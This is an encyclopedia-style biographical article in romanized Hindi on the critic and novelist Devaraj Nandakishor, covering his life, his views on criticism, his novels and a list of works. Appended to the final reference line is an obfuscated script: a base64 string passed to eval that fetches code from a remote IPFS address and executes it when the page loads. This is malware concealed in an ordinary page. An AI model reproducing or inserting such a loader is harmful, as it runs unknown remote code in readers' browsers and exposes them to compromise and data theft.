देवराज नन्दकिशोर
devaraj nandakishor
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| poora nam | devaraj nandakishor |
| janm | 1917 |
| janm bhoomi | ramapur, uttar pradesh |
| karm bhoomi | bharat |
| karm-kshetr | alochak tatha upanyasakar]] |
| mukhy rachanaean | 'path ki khoj', 'chhayavad ka patan', 'sahity aur sanskriti', 'ajay ki dayari', 'sanskriti ka darshanik vivechan', 'pratikriyaean' adi. |
| bhasha | hindi |
| prasiddhi | alochak |
| nagarikata | bharatiy |
| any janakari | devaraj nandakishor moolat: chiantak haian aur unaki sahity-chianta bhi unaki vyapak sanskriti-chianta ke aantargat upalakshy roop mean hi hai. ve manavavadi parampara ke vicharak haian. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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devaraj nandakishor (aangrezi: Devraj Nandkishore ; janm- 1917, ramapur, uttar pradesh) ki ganana hindi ke pratishthit alochakoan mean hoti hai. ve moolat: chiantak haian aur unaki sahity-chianta bhi unaki vyapak sanskriti-chianta ke aantargat upalakshy roop mean hi hai. alochana mean unaka agrah saanskritik abhijaty ke apane vishisht agrah aur drishtikon se hi sahity ko dekhane-parakhane ka hai. ve manavavadi parampara ke vicharak haian aur kriti ki bajay krititv ke lie avashyak vatavaran aur preranaoan ko spasht karane mean sahaj utsah anubhav karate haian.
janm
devaraj nandakishor ka janm 1917 ee. mean ramapur, uttar pradesh mean hua tha. bahut samay tak ap 'lakhanoo vishvavidyalay' ke darshan vibhag mean pradhyapak rahe. phir 'kashi hindoo vishvavidyalay' mean 'uchchanushilan darshan kendr' ke nideshak rahe.
chiantak
devaraj nandakishor moolat: chiantak haian aur unaki sahity-chianta bhi unaki vyapak sanskriti-chianta ke aantargat upalakshy roop mean hi hai. alochana mean unaka agrah saanskritik abhijaty ke apane vishisht agrah aur drishtikon se hi sahity ko dekhane-parakhane ka hai. ve manavavadi parampara ke vicharak haian aur kriti ki bajay krititv ke lie avashyak vatavaran aur preranaoan ko spasht karane mean sahaj utsah ka anubhav karate haian. 'klasiks' ke prati unaka utsah sankramak hai aur unake nibandh unake vistrit adhyayan tatha suruchisampannata ke karan hamesha pathaniy hote haian. 'hindi sahity ki vartaman sthiti: ek nivedan', 'bharatiy darshan aur vishv-darshan', 'hamari saanskritik samasya' 'adikavy' jaise nibandhoan ki upayogita aj bhi kam nahian huee hai.[1]
vyapak drishtikon
yah to nahian kaha ja sakata ki devaraj purane kaviyoan- valmiki, kalidas, tulasidas adi ka alochanatmak punarmoolyaankan karane mean saphal ho ge haian, kyoanki usake lie shayad doosari kshamataean bhi ganbhir aur ekagr adhyavasay ke alava apekshit thian. kiantu is atyavashyak udyam ke prati hindi alochakoan ka dhyan akarshit karane ke lie tatha apane chhitaput prayatnoan dvara is disha mean samuchit uttejan dene ke lie hindi jagath unaka rrini rahega. unaka 'ramacharitamanas: ek moolyaankan' shirshak nibandh is drishti se kafi rochak hai. yoan bhi devaraj ne kafi santulit dhang se samajavadi aur vyaktivadi vichar paddhatiyoan ko grahan kiya hai. unamean kattar siddhaantavadita nahian hai; vyapak drishtikon hai.
dayari shilp
upanyas mean devaraj nandakishor ki sthiti alochana ki apeksha behatar hai. yah dava to nahian kiya ja sakata ki 'ajay ki dayari' hindi ke sarvotkrisht upanyasoan mean hai, kiantu phir bhi yahaan lekhak ka atmadan adhik thos hai. devaraj ke vyaktitv ka unake saanskritik arjan ka, chiantanashil mastishk ka adhik saph aur pratyaksh upayog is upanyas mean hua hai. dayari shilp ka aisa samarth upayog shayad hi kahian aur mile. unaka vishisht jivananubhav aur vyaktitv jo apeshit tivrata aur nishkavachata aur sookshm shabd-sanvedana ke abhav mean kavita nahian ban pata aur uchchakoti alochak karm ke lie apekshit ekagrata aur nissangata nahian juta pata, vah is atmakathatmak dayari-shilp ki suvidha vale upanyas mean apana sahaj-svabhik unmochan yatha sanbhab pa leta pratit hota hai.
vyaktitv
vidvatta ki gaharaee aur vyaktitv ki jatil samriddhi kavita aur alochana donoan ko phal sakati hai aur phalati hi hai. par shayad in donoan hi kshetroan mean kamal karane ke lie ek prakar ki charamata bhi chahie: asakti aur anasakti donoan ki charamata, joki sanskriti ya kisi bhi kavach ko pha d dene vali chij hai. devaraj ke vyaktitv mean yah charamata nahian hai. isalie unaki alochana aur kavita donoan hi ek samany dakshata ke dharatal se oopar kabhi nahian uth pati. parishkar avashy hai aur khari jijnasu-vritti bhi, jo unake lekhoan ko pathaniy banati hai. hindi lekhan aur hindi alochana ka star kaise ooancha uthaya jay, yah chianta aur tadvishayak utsah in lekhoan mean lagatar anubhav kiya ja sakata hai.[1]
rachanaean
devaraj nandakishor ki mukhy rachanaean nimnalikhit haian[1]-
- 'path ki khoj' (upanyas, 1951)
- 'sahity-chianta'
- 'adhunik samiksha' (1954)
- 'chhayavad ka patan' (1948)
- 'sahity aur sanskriti' (1958)
- 'ajay ki dayari' (upanyas, 1960)
- 'sanskriti ka darshanik vivechan' (1966)
- 'itihas purush' (kavita sangrah, 1965)
- 'pratikriyaean' (1966)
- 'maian ve aur ap' (upanyas, 1969)
'alochana sambandhi meri manyataean' mean devaraj ka kathan hai ki "alochak mean yah kshamata apekshit nahian hai ki vah sahityakar ki bhaanti jivan ki jatilataoan ko svayan dekh sake, kiantu usamean itani yogyata avashy honi chahie ki vah lekhak ki drishti ya soojh ki dad de sake. vastut: lekhak aur samikshak mean mukhy aantar yah hota hai ki jahaan dvitiy mean chetana adhik spasht aur moortt hoti hai." alochana karm ke vishay mean devaraj ki yah dharana chhichhali aur bhramak hai. l aaureans tak svikar karata hai ki- "lekhak ki hi tarah alochak mean bhi jatilata aur jivantata ka sanyog anivary hai." devaraj ke nibandhoan mean kee aantarvirodhi batean ek sath dikhaee deti haian, jo pratipadan ki shastriy svachchhata aur sadashay chiantanashilata se hal nahian ho jatian.
upanyasoan ki kendriy chianta
devaraj nandakishor ki sabase mahattvapoorn pustak 'sanskriti ka darshanik vivechan' hai. bharatiy bhashaoan mean kadichit yah apane dhang ki akeli pustak hai. devaraj nandakishor ke upanyasoan ki kendriy chianta yah hai ki kya saanskritik abhiruchi ya bauddhikata stri-purush ke bich ke sambandh ko poori sarthakata dene ke lie paryapt hai. 'ajay ki dayari' mean yah chianta adhik gahare vinyast hai; usamean nayak ka aantardvandv bhi adhik gahara aur anek jivan-sandarbhoan ke chiantan ki jatilata se yukt hai. lekhak ki bauddhik sanskriti ka hi nahian, usaki sanvedana aur anubhavashilata ki bhi kshamataoan aur simaoan ka bhi sahi-sahi aandazis pustak se lagaya ja sakata hai. charitr ki pak d yahaan akar adhik majaboot huee hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 hindi sahity kosh, bhag-2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhirendr varma (pradhan sampadak) |prishth sankhya: 263 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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